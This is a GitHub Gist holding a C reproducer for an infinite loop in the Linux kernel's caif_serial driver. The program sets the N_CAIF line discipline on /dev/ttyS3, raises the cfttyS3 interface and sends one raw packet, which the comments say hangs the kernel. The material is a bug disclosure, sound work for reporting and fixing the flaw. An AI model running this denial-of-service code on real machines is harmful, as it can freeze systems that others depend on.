Last active
February 4, 2026 07:19
-
-
Save mrpre/d9a694cc0e19828ee3bc3b37983fde13 to your computer and use it in GitHub Desktop.
caif_deadloop_repro.c
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * caif_deadloop_repro.c - Reproduce handle_tx() infinite loop in caif_serial | |
| * Kernel config: | |
| * CONFIG_CAIF=y | |
| * CONFIG_CAIF_TTY=y | |
| * Root cause: Using a TTY with PORT_UNKNOWN type (e.g., /dev/ttyS3 in QEMU) | |
| * causes uart_write_room() to return 1 but uart_write() to return 0, | |
| * because xmit_buf is never allocated for PORT_UNKNOWN ports. | |
| * | |
| * Compile: gcc -o caif_deadloop_repro caif_deadloop_repro.c | |
| * Run: ./caif_deadloop_repro | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <fcntl.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/socket.h> | |
| #include <linux/if_packet.h> | |
| #include <linux/if_ether.h> | |
| #include <net/if.h> | |
| #include <arpa/inet.h> | |
| #define N_CAIF 20 | |
| #define TIOCSETD 0x5423 | |
| int main(void) | |
| { | |
| int tty_fd, sock_fd; | |
| int ldisc = N_CAIF; | |
| struct sockaddr_ll sll; | |
| unsigned char packet[128]; | |
| int ifindex; | |
| char cmd[256]; | |
| printf("=== CAIF Deadloop Reproducer (simple) ===\n"); | |
| printf("Just send one packet to trigger infinite loop\n\n"); | |
| /* Open TTY and set N_CAIF line discipline */ | |
| tty_fd = open("/dev/ttyS3", O_RDWR | O_NOCTTY | O_NONBLOCK); | |
| if (tty_fd < 0) { | |
| perror("open /dev/ttyS3"); | |
| return 1; | |
| } | |
| if (ioctl(tty_fd, TIOCSETD, &ldisc) < 0) { | |
| perror("ioctl TIOCSETD"); | |
| close(tty_fd); | |
| return 1; | |
| } | |
| printf("[+] N_CAIF set on /dev/ttyS3\n"); | |
| usleep(50000); | |
| /* Configure network interface */ | |
| snprintf(cmd, sizeof(cmd), "ip link set cfttyS3 up 2>/dev/null"); | |
| system(cmd); | |
| printf("[+] cfttyS3 interface up\n"); | |
| /* Create raw socket */ | |
| sock_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); | |
| if (sock_fd < 0) { | |
| perror("socket"); | |
| close(tty_fd); | |
| return 1; | |
| } | |
| ifindex = if_nametoindex("cfttyS3"); | |
| if (ifindex == 0) { | |
| perror("if_nametoindex"); | |
| close(sock_fd); | |
| close(tty_fd); | |
| return 1; | |
| } | |
| memset(&sll, 0, sizeof(sll)); | |
| sll.sll_family = AF_PACKET; | |
| sll.sll_ifindex = ifindex; | |
| sll.sll_protocol = htons(ETH_P_ALL); | |
| memset(packet, 'A', sizeof(packet)); | |
| printf("[+] Sending one packet - kernel will hang!\n"); | |
| /* This single sendto triggers the infinite loop */ | |
| sendto(sock_fd, packet, sizeof(packet), 0, | |
| (struct sockaddr *)&sll, sizeof(sll)); | |
| /* Never reaches here if bug is triggered */ | |
| printf("[!] Returned - bug not triggered?\n"); | |
| close(sock_fd); | |
| close(tty_fd); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment